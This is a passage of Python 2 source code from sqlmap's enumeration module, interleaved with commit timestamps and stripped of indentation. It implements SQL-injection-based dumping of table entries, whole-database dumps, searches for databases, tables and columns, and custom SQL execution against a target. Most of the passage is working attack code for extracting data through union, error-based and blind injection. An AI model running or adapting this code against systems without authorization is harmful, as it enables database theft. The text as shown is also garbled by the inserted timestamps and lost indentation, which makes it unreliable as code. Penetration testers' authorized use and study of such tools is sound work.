errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
raise sqlmapNoneDataException, errMsg
for tbl in tblList:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
for tbl in tblList:
conf.tbl = tbl
kb.data.dumpedTable = {}
2011-06-24 13:27:54 +04:00
if foundData is None:
kb.data.cachedColumns = {}
self.getColumns(onlyColNames=True)
else:
kb.data.cachedColumns = foundData
try:
kb.dumpTable = "%s.%s" % (conf.db, tbl)
2011-06-16 17:41:02 +04:00
if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \
or safeSQLIdentificatorNaming(tbl, True) not in \
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \
or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
warnMsg = "unable to enumerate the columns for table "
warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(tbl)
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db)
warnMsg += ", skipping" if len(tblList) > 1 else ""
logger.warn(warnMsg)
continue
2011-08-01 04:17:26 +04:00
colList = sorted(filter(None, kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)].keys()))
colString = ", ".join(column for column in colList)
rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
2012-01-07 21:35:53 +04:00
infoMsg = "fetching entries"
if conf.col:
2012-01-07 21:35:53 +04:00
infoMsg += " of column(s) '%s'" % colString
infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl)
infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
entriesCount = 0
if any([isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION), isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR), conf.direct]):
entries = []
query = None
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB):
query = rootQuery.inband.query % (colString, tbl)
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
# Partial inband and error
if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL):
table = "%s.%s" % (conf.db, tbl)
retVal = self.__pivotDumpTable(table, colList, blind=False)
if retVal:
entries, _ = retVal
entries = zip(*[entries[colName] for colName in colList])
else:
query = rootQuery.inband.query % (colString, conf.db, tbl)
2011-10-18 18:35:42 +04:00
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
2012-05-04 02:34:18 +04:00
query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
else:
query = rootQuery.inband.query % (colString, conf.db, tbl)
if not entries and query:
entries = inject.getValue(query, blind=False, dump=True)
if isNoneValue(entries):
entries = []
elif isinstance(entries, basestring):
2012-02-22 19:53:36 +04:00
entries = [entries]
2012-06-14 17:38:53 +04:00
elif not isListLike(entries):
entries = []
entriesCount = len(entries)
for index, column in enumerate(colList):
colLen = len(column)
2012-02-22 19:53:36 +04:00
if column not in kb.data.dumpedTable:
2012-06-14 17:38:53 +04:00
kb.data.dumpedTable[column] = {"length": colLen, "values": BigArray()}
for entry in entries:
if entry is None or len(entry) == 0:
continue
if isinstance(entry, basestring):
colEntry = entry
else:
colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''
2012-03-14 17:52:23 +04:00
colEntryLen = len({" ": NULL, "": BLANK}.get(getUnicode(colEntry), getUnicode(colEntry)))
maxLen = max(colLen, colEntryLen)
if maxLen > kb.data.dumpedTable[column]["length"]:
kb.data.dumpedTable[column]["length"] = maxLen
kb.data.dumpedTable[column]["values"].append(colEntry)
if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct:
infoMsg = "fetching number of "
if conf.col:
2011-05-31 19:45:54 +04:00
infoMsg += "column(s) '%s' " % colString
infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
query = rootQuery.blind.count % tbl
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl))
elif Backend.isDbms(DBMS.MAXDB):
query = rootQuery.blind.count % tbl
else:
query = rootQuery.blind.count % (conf.db, tbl)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
lengths = {}
entries = {}
2012-02-20 14:24:55 +04:00
if count == 0:
2012-02-22 19:53:36 +04:00
warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db)
warnMsg += "appears to be empty"
logger.warn(warnMsg)
for column in colList:
lengths[column] = len(column)
entries[column] = []
elif not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
if conf.col:
2012-01-06 04:23:49 +04:00
warnMsg += "column(s) '%s' " % colString
warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.warn(warnMsg)
continue
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL):
if Backend.isDbms(DBMS.ACCESS):
table = tbl
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
table = "%s.%s" % (conf.db, tbl)
elif Backend.isDbms(DBMS.MAXDB):
table = "%s.%s" % (conf.db, tbl)
retVal = self.__pivotDumpTable(table, colList, count, blind=True)
2012-07-12 04:48:07 +04:00
if retVal:
entries, lengths = retVal
2011-01-01 15:41:51 +03:00
2011-02-19 12:36:57 +03:00
else:
emptyColumns = []
2012-02-16 18:42:28 +04:00
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, dump=True, plusOne=plusOne)
2011-02-19 12:36:57 +03:00
if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
for column in colList:
if inject.getValue("SELECT COUNT(%s) FROM %s" % (column, kb.dumpTable), inband=False, error=False) == '0':
emptyColumns.append(column)
debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable)
debugMsg += "dumped as it appears to be empty"
logger.debug(debugMsg)
2011-07-03 02:48:56 +04:00
try:
for index in indexRange:
for column in colList:
2012-07-12 04:48:07 +04:00
value = ""
2011-07-03 02:48:56 +04:00
if column not in lengths:
lengths[column] = 0
2011-07-03 02:48:56 +04:00
if column not in entries:
entries[column] = BigArray()
2012-02-22 19:53:36 +04:00
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
2011-10-18 18:35:42 +04:00
query = rootQuery.blind.query % (column, conf.db, conf.tbl, sorted(colList, key=len)[0], index)
2011-07-03 02:48:56 +04:00
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query % (column, column,
tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())),
index)
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % (column, tbl, index)
2011-07-03 02:48:56 +04:00
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (index, column, tbl)
value = NULL if column in emptyColumns else inject.getValue(query, inband=False, error=False, dump=True)
2011-01-01 15:41:51 +03:00
2011-07-03 02:48:56 +04:00
lengths[column] = max(lengths[column], len(value) if value else 0)
entries[column].append(value)
except KeyboardInterrupt:
clearConsoleLine()
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
2011-01-01 15:41:51 +03:00
for column, columnEntries in entries.items():
length = max(lengths[column], len(column))
2011-01-01 15:41:51 +03:00
2012-02-22 19:53:36 +04:00
kb.data.dumpedTable[column] = {"length": length, "values": columnEntries}
2011-01-01 15:41:51 +03:00
entriesCount = len(columnEntries)
2012-02-08 16:00:03 +04:00
if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag):
2012-03-12 19:19:02 +04:00
warnMsg = "unable to retrieve the entries "
2012-02-08 16:00:03 +04:00
if conf.col:
2012-03-12 19:19:02 +04:00
warnMsg += "of columns '%s' " % colString
2012-02-08 16:00:03 +04:00
warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "")
2012-02-08 16:00:03 +04:00
logger.warn(warnMsg)
else:
2012-02-22 19:53:36 +04:00
kb.data.dumpedTable["__infos__"] = {"count": entriesCount,
"table": safeSQLIdentificatorNaming(tbl, True),
"db": safeSQLIdentificatorNaming(conf.db)}
attackDumpedTable()
conf.dumper.dbTableValues(kb.data.dumpedTable)
2011-01-01 15:41:51 +03:00
except sqlmapConnectionException, e:
errMsg = "connection exception detected in dumping phase: "
errMsg += "'%s'" % e
logger.critical(errMsg)
finally:
kb.dumpTable = None
def dumpAll(self):
if conf.db is not None and conf.tbl is None:
self.dumpTable()
return
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
2011-04-30 17:20:05 +04:00
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
infoMsg = "sqlmap will dump entries of all tables from all databases now"
logger.info(infoMsg)
2011-04-30 17:20:05 +04:00
conf.tbl = None
conf.col = None
self.getTables()
2010-11-05 01:00:14 +03:00
if kb.data.cachedTables:
if isinstance(kb.data.cachedTables, list):
kb.data.cachedTables = { None: kb.data.cachedTables }
2010-11-05 01:00:14 +03:00
for db, tables in kb.data.cachedTables.items():
conf.db = db
2010-11-05 01:00:14 +03:00
for table in tables:
try:
conf.tbl = table
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
2011-05-08 14:25:40 +04:00
self.dumpTable()
except sqlmapNoneDataException:
infoMsg = "skipping table '%s'" % table
logger.info(infoMsg)
def dumpFoundColumn(self, dbs, foundCols, colConsider):
if not dbs:
warnMsg = "no databases have tables containing any of the "
warnMsg += "provided columns"
logger.warn(warnMsg)
return
conf.dumper.dbColumns(foundCols, colConsider, dbs)
message = "do you want to dump entries? [Y/n] "
output = readInput(message, default="Y")
if output and output[0] not in ("y", "Y"):
return
dumpFromDbs = []
message = "which database(s)?\n[a]ll (default)\n"
for db, tblData in dbs.items():
if tblData:
message += "[%s]\n" % db
message += "[q]uit"
test = readInput(message, default="a")
if not test or test in ("a", "A"):
dumpFromDbs = dbs.keys()
elif test in ("q", "Q"):
return
else:
dumpFromDbs = test.replace(" ", "").split(",")
for db, tblData in dbs.items():
if db not in dumpFromDbs or not tblData:
continue
conf.db = db
dumpFromTbls = []
message = "which table(s) of database '%s'?\n" % db
message += "[a]ll (default)\n"
for tbl in tblData:
message += "[%s]\n" % tbl
message += "[s]kip\n"
message += "[q]uit"
test = readInput(message, default="a")
if not test or test in ("a", "A"):
dumpFromTbls = tblData
elif test in ("s", "S"):
continue
elif test in ("q", "Q"):
return
else:
dumpFromTbls = test.replace(" ", "").split(",")
for table, columns in tblData.items():
if table not in dumpFromTbls:
continue
conf.tbl = table
conf.col = ",".join(column for column in filter(None, sorted(columns)))
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
2011-06-24 13:27:54 +04:00
data = self.dumpTable(dbs)
if data:
conf.dumper.dbTableValues(data)
def searchDb(self):
foundDbs = []
rootQuery = queries[Backend.getIdentifiedDbms()].search_db
dbList = conf.db.split(",")
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
dbCond = rootQuery.inband.condition2
else:
dbCond = rootQuery.inband.condition
dbConsider, dbCondParam = self.likeOrExact("database")
for db in dbList:
2011-03-30 01:54:15 +04:00
db = safeSQLIdentificatorNaming(db)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
db = db.upper()
infoMsg = "searching database"
if dbConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if conf.excludeSysDbs:
2011-03-30 01:54:15 +04:00
exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
logger.info(infoMsg)
else:
exclDbsQuery = ""
dbQuery = "%s%s" % (dbCond, dbCondParam)
2011-03-30 01:54:15 +04:00
dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
query += dbQuery
query += exclDbsQuery
values = inject.getValue(query, blind=False)
if not isNoneValue(values):
if isinstance(values, basestring):
2012-02-22 19:53:36 +04:00
values = [values]
for value in values:
2011-03-30 01:54:15 +04:00
value = safeSQLIdentificatorNaming(value)
foundDbs.append(value)
else:
infoMsg = "fetching number of databases"
if dbConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
query += dbQuery
query += exclDbsQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
2011-04-30 17:20:05 +04:00
warnMsg = "no database"
if dbConsider == "1":
warnMsg += "s like"
2011-03-30 01:54:15 +04:00
warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
continue
2012-02-16 18:42:28 +04:00
indexRange = getLimitRange(count)
for index in indexRange:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2
else:
query = rootQuery.blind.query
query += dbQuery
query += exclDbsQuery
if Backend.isDbms(DBMS.DB2):
query += ") AS foobar"
query = agent.limitQuery(index, query, dbCond)
value = inject.getValue(query, inband=False, error=False)
2011-03-30 01:54:15 +04:00
value = safeSQLIdentificatorNaming(value)
foundDbs.append(value)
return foundDbs
def searchTable(self):
bruteForce = False
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
2011-04-30 17:20:05 +04:00
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
if bruteForce:
message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
regex = "|".join(conf.tbl.split(","))
return tableExists(paths.COMMON_TABLES, regex)
foundTbls = {}
tblList = conf.tbl.split(",")
2012-06-27 16:43:18 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].search_table
tblCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
whereDbsQuery = ""
tblConsider, tblCondParam = self.likeOrExact("table")
for tbl in tblList:
2011-03-30 01:54:15 +04:00
tbl = safeSQLIdentificatorNaming(tbl, True)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
tbl = tbl.upper()
infoMsg = "searching table"
if tblConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
2012-02-16 18:42:28 +04:00
if conf.db and conf.db != CURRENT_DB:
_ = conf.db.split(",")
whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
2012-03-08 19:11:24 +04:00
infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
elif conf.excludeSysDbs:
whereDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
2012-03-08 19:11:24 +04:00
infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
logger.info(infoMsg2)
2012-03-08 19:11:24 +04:00
logger.info(infoMsg)
tblQuery = "%s%s" % (tblCond, tblCondParam)
tblQuery = tblQuery % tbl
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
query = rootQuery.inband.query
query += tblQuery
query += whereDbsQuery
values = inject.getValue(query, blind=False)
2011-08-09 18:20:25 +04:00
for foundDb, foundTbl in filterPairValues(values):
foundDb = safeSQLIdentificatorNaming(foundDb)
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
2011-08-09 18:20:25 +04:00
if foundDb is None or foundTbl is None:
continue
2011-02-10 14:34:16 +03:00
2011-08-09 18:20:25 +04:00
if foundDb in foundTbls:
foundTbls[foundDb].append(foundTbl)
else:
2012-02-22 19:53:36 +04:00
foundTbls[foundDb] = [foundTbl]
else:
infoMsg = "fetching number of databases with table"
if tblConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.info(infoMsg)
query = rootQuery.blind.count
query += tblQuery
query += whereDbsQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
2011-04-30 17:20:05 +04:00
warnMsg = "no databases have table"
if tblConsider == "1":
warnMsg += "s like"
2011-03-30 01:54:15 +04:00
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.warn(warnMsg)
continue
2012-02-16 18:42:28 +04:00
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query
query += tblQuery
query += whereDbsQuery
if Backend.isDbms(DBMS.DB2):
query += ") AS foobar"
query = agent.limitQuery(index, query)
foundDb = inject.getValue(query, inband=False, error=False)
2011-03-30 01:54:15 +04:00
foundDb = safeSQLIdentificatorNaming(foundDb)
2011-02-10 14:34:16 +03:00
if foundDb not in foundTbls:
foundTbls[foundDb] = []
if tblConsider == "2":
foundTbls[foundDb].append(tbl)
if tblConsider == "2":
continue
for db in foundTbls.keys():
2011-03-30 01:54:15 +04:00
db = safeSQLIdentificatorNaming(db)
infoMsg = "fetching number of table"
if tblConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), db)
logger.info(infoMsg)
query = rootQuery.blind.count2
2011-03-30 01:54:15 +04:00
query = query % unsafeSQLIdentificatorNaming(db)
query += " AND %s" % tblQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no table"
if tblConsider == "1":
warnMsg += "s like"
2011-03-30 01:54:15 +04:00
warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
2012-02-16 18:42:28 +04:00
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query2
2011-03-30 01:54:15 +04:00
query = query % unsafeSQLIdentificatorNaming(db)
query += " AND %s" % tblQuery
query = agent.limitQuery(index, query)
foundTbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = foundTbl
2011-03-30 01:54:15 +04:00
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
foundTbls[db].append(foundTbl)
return foundTbls
def searchColumn(self):
bruteForce = False
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
2011-04-30 17:20:05 +04:00
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
if bruteForce:
message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
regex = "|".join(conf.col.split(","))
2010-12-27 03:41:16 +03:00
conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex))
message = "do you want to dump entries? [Y/n] "
output = readInput(message, default="Y")
if output and output[0] not in ("n", "N"):
self.dumpAll()
return
rootQuery = queries[Backend.getIdentifiedDbms()].search_column
foundCols = {}
dbs = {}
whereDbsQuery = ""
2012-03-09 22:02:50 +04:00
whereTblsQuery = ""
2012-03-09 22:34:18 +04:00
infoMsgTbl = ""
infoMsgDb = ""
colList = conf.col.split(",")
colCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
tblCond = rootQuery.inband.condition3
colConsider, colCondParam = self.likeOrExact("column")
for column in colList:
2011-03-30 01:54:15 +04:00
column = safeSQLIdentificatorNaming(column)
2011-12-02 22:13:27 +04:00
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
column = column.upper()
infoMsg = "searching column"
if colConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
foundCols[column] = {}
if conf.tbl:
_ = conf.tbl.split(",")
whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
2012-03-09 22:34:18 +04:00
infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _))
2012-02-16 18:42:28 +04:00
if conf.db and conf.db != CURRENT_DB:
_ = conf.db.split(",")
whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
2012-03-09 22:34:18 +04:00
infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
elif conf.excludeSysDbs:
whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList)
2012-03-08 19:11:24 +04:00
infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
logger.info(infoMsg2)
2012-03-09 22:02:50 +04:00
else:
2012-03-09 22:34:18 +04:00
infoMsgDb = " across all databases"
2012-03-09 22:34:18 +04:00
logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
2012-03-08 19:11:24 +04:00
colQuery = "%s%s" % (colCond, colCondParam)
2011-03-30 01:54:15 +04:00
colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
if not all((conf.db, conf.tbl)):
# Enumerate tables containing the column provided if
# either of database(s) or table(s) is not provided
query = rootQuery.inband.query
query += colQuery
query += whereDbsQuery
query += whereTblsQuery
values = inject.getValue(query, blind=False)
else:
# Assume provided databases' tables contain the
# column(s) provided
values = []
for db in conf.db.split(","):
for tbl in conf.tbl.split(","):
values.append([db, tbl])
for db, tbl in filterPairValues(values):
db = safeSQLIdentificatorNaming(db)
tbls = tbl.split(",")
for tbl in tbls:
tbl = safeSQLIdentificatorNaming(tbl, True)
if db is None or tbl is None:
continue
2011-02-10 14:34:16 +03:00
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)
if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
if db not in dbs:
dbs[db] = {}
if tbl not in dbs[db]:
dbs[db][tbl] = {}
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
if db in foundCols[column]:
foundCols[column][db].append(tbl)
else:
foundCols[column][db] = [tbl]
kb.data.cachedColumns = {}
else:
2011-12-02 22:13:27 +04:00
if not conf.db:
infoMsg = "fetching number of databases with tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % column
2012-03-09 22:34:18 +04:00
logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
2011-12-02 22:13:27 +04:00
query = rootQuery.blind.count
query += colQuery
query += whereDbsQuery
query += whereTblsQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
2011-12-02 22:13:27 +04:00
if not isNumPosStrValue(count):
warnMsg = "no databases have tables containing column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % column
2012-03-09 22:34:18 +04:00
logger.warn("%s%s" % (warnMsg, infoMsgTbl))
2011-12-02 22:13:27 +04:00
continue
2012-02-16 18:42:28 +04:00
indexRange = getLimitRange(count)
2011-12-02 22:13:27 +04:00
for index in indexRange:
query = rootQuery.blind.query
query += colQuery
query += whereDbsQuery
query += whereTblsQuery
2011-12-02 22:13:27 +04:00
if Backend.isDbms(DBMS.DB2):
query += ") AS foobar"
query = agent.limitQuery(index, query)
db = inject.getValue(query, inband=False, error=False)
db = safeSQLIdentificatorNaming(db)
2011-12-02 22:13:27 +04:00
if db not in dbs:
dbs[db] = {}
2011-12-02 22:13:27 +04:00
if db not in foundCols[column]:
foundCols[column][db] = []
else:
for db in conf.db.split(","):
if db not in foundCols[column]:
foundCols[column][db] = []
for column, dbData in foundCols.items():
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
for db in dbData:
2011-03-30 01:54:15 +04:00
db = safeSQLIdentificatorNaming(db)
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(column), db)
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % db
query += " AND %s" % colQuery
query += whereTblsQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % column
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
2012-02-16 18:42:28 +04:00
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query2
query = query % db
query += " AND %s" % colQuery
query += whereTblsQuery
query = agent.limitQuery(index, query)
tbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = tbl
2011-03-30 01:54:15 +04:00
tbl = safeSQLIdentificatorNaming(tbl, True)
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)
if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
if db not in dbs:
dbs[db] = {}
if tbl not in dbs[db]:
dbs[db][tbl] = {}
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
kb.data.cachedColumns = {}
if db in foundCols[column]:
foundCols[column][db].append(tbl)
else:
foundCols[column][db] = [tbl]
self.dumpFoundColumn(dbs, foundCols, colConsider)
def search(self):
2011-12-02 22:13:27 +04:00
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
for item in ('db', 'tbl', 'col'):
if getattr(conf, item, None):
setattr(conf, item, getattr(conf, item).upper())
if conf.col:
self.searchColumn()
2008-10-15 19:38:22 +04:00
elif conf.tbl:
conf.dumper.dbTables(self.searchTable())
2008-10-15 19:38:22 +04:00
elif conf.db:
conf.dumper.lister("found databases", self.searchDb())
2008-10-15 19:38:22 +04:00
else:
errMsg = "missing parameter, provide -D, -T or -C together "
errMsg += "with --search"
raise sqlmapMissingMandatoryOptionException, errMsg
2008-10-15 19:38:22 +04:00
def sqlQuery(self, query):
output = None
sqlType = None
2011-08-21 00:08:11 +04:00
query = query.rstrip(';')
kb.unescape = False
2011-08-21 00:08:11 +04:00
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
for sqlStatement in sqlStatements:
if query.lower().startswith(sqlStatement):
sqlType = sqlTitle
break
if 'OPENROWSET' not in query.upper() and (not sqlType or 'SELECT' in sqlType):
2010-03-31 17:52:51 +04:00
infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query)
logger.info(infoMsg)
output = inject.getValue(query, fromUser=True)
kb.unescape = True
return output
elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
2011-04-30 17:20:05 +04:00
warnMsg = "execution of custom SQL queries is only "
2010-10-15 19:37:15 +04:00
warnMsg += "available when stacked queries are supported"
2010-09-25 02:09:33 +04:00
logger.warn(warnMsg)
kb.unescape = True
return None
else:
if sqlType:
debugMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query)
